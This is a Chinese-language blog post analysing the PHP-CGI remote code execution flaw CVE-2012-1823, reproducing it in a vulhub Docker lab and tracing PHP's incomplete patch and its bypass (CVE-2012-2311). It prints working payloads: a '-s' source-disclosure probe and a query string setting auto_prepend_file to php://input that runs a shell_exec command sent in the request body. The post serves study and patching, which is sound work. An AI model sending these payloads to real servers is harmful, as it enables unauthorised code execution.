首页 > Web开发 > 详细

PHP-CGI远程代码执行漏洞(CVE-2012-1823)

时间:2019-08-07 13:45:36      阅读:275      评论:0      收藏:0      [点我收藏+]

PHP-CGI远程代码执行漏洞(CVE-2012-1823)

漏洞分析

PHP SAPI 与运行模式

  在PHP源码中,有一个目录叫sapi。sapi在PHP中的作用,类似一个消息的“传递者”,(PHP-FPM中的fpm,其作用就是接受web容器通过fastcgi协议封装好的数据,交给PHP解释器执行;除了fpm,最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换。)
  php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。
  但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。


  php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。
  那我之前说的fpm又是什么呢?为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,所以现在越来越多的web应用使用php-fpm去运行php。

  CVE-2012-1823就是php-cgi这个sapi出现的漏洞,我上面介绍了php-cgi提供的两种运行方式:cgi和fastcgi,本漏洞只出现在以cgi模式运行的php中。这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。

漏洞复现

环境部署

利用vulhub漏洞环境进行测试

进入ssrf漏洞环境

    cd  vulhub-master/php/CVE-2012-1823
进行环境构建

    docker-compose  build
启动环境

    docker-compose  up -d

然后访问目标地址

   http://ip:8080


技术分享图片

漏洞测试

访问目标地址

http:ip:8080/index.php/?-s

 

若返回源码,则说明存在此漏洞
技术分享图片

漏洞利用

通过阅读源码,发现cgi模式下通过可控命令行参数有如下一些参数可用:

    -c 指定php.ini文件的位置
    -n 不要加载php.ini文件
    -d 指定配置项
    -b 启动fastcgi进程
    -s 显示文件源码
    -T 执行指定次该文件
    -h和-? 显示帮助

可以看出最简单的就是利用-s查看源码
任意代码执行
通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:
利用burpsuite抓包,然后修改数据包内容在`index.php?`后面添加

-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

再添加传输内容

<?php echo shell_exec("id"); ?>

如下:
技术分享图片
可以看出body中的代码内容已经被执行并返回结果
原理分析
  PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。
  那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)

  那么,我们怎么设置auto_prepend_file的值?
  这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

  所以,我们最后传入如下环境变量:

{
        GATEWAY_INTERFACE: FastCGI/1.0,
        REQUEST_METHOD: GET,
        SCRIPT_FILENAME: /var/www/html/index.php,
        SCRIPT_NAME: /index.php,
        QUERY_STRING: ?a=1&b=2,
        REQUEST_URI: /index.php?a=1&b=2,
        DOCUMENT_ROOT: /var/www/html,
        SERVER_SOFTWARE: php/fcgiclient,
        REMOTE_ADDR: 127.0.0.1,
        REMOTE_PORT: 12345,
        SERVER_ADDR: 127.0.0.1,
        SERVER_PORT: 80,
        SERVER_NAME: "localhost",
        SERVER_PROTOCOL: HTTP/1.1
        PHP_VALUE: auto_prepend_file = php://input,
        PHP_ADMIN_VALUE: allow_url_include = On
    }

设置`auto_prepend_file = php://input`且`allow_url_include = On`,然后将我们需要执行的代码放在Body中,即可执行任意代码。

漏洞修复

CVE-2012-2311
这个漏洞被爆出来以后,PHP官方对其进行了修补,发布了新版本5.4.2及5.3.12,但这个修复是不完全的,可以被绕过,进而衍生出CVE-2012-2311漏洞。

PHP的修复方法是对-进行了检查:

    if(query_string = getenv("QUERY_STRING")) {
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        if(*decoded_query_string == - && strchr(decoded_query_string, =) == NULL) {
            skip_getopt = 1;
        }
        free(decoded_query_string);
    }

可见,获取querystring后进行解码,如果第一个字符是-则设置skip_getopt,也就是不要获取命令行参数。

这个修复方法不安全的地方在于,如果运维对php-cgi进行了一层封装的情况下:

 #!/bin/sh  
    exec /usr/local/bin/php-cgi $*

通过使用空白符加-的方式,也能传入参数。这时候querystring的第一个字符就是空白符而不是-了,绕过了上述检查。

于是,php5.4.3和php5.3.13中继续进行修改: 

 if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, ‘=‘) == NULL) {
        /* weve got query string that has no = - apache CGI will pass it to command line */
        unsigned char *p;
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        for (p = decoded_query_string; *p &&  *p <=  ; p++) {
            /* skip all leading spaces */
        }
        if(*p == -) {
            skip_getopt = 1;
        }
        free(decoded_query_string);
    }

先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-。
参考链接
(https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)
[https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823#cve-2012-2311](https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823#cve-2012-2311)

PHP-CGI远程代码执行漏洞(CVE-2012-1823)

原文:https://www.cnblogs.com/riginal/p/11314565.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!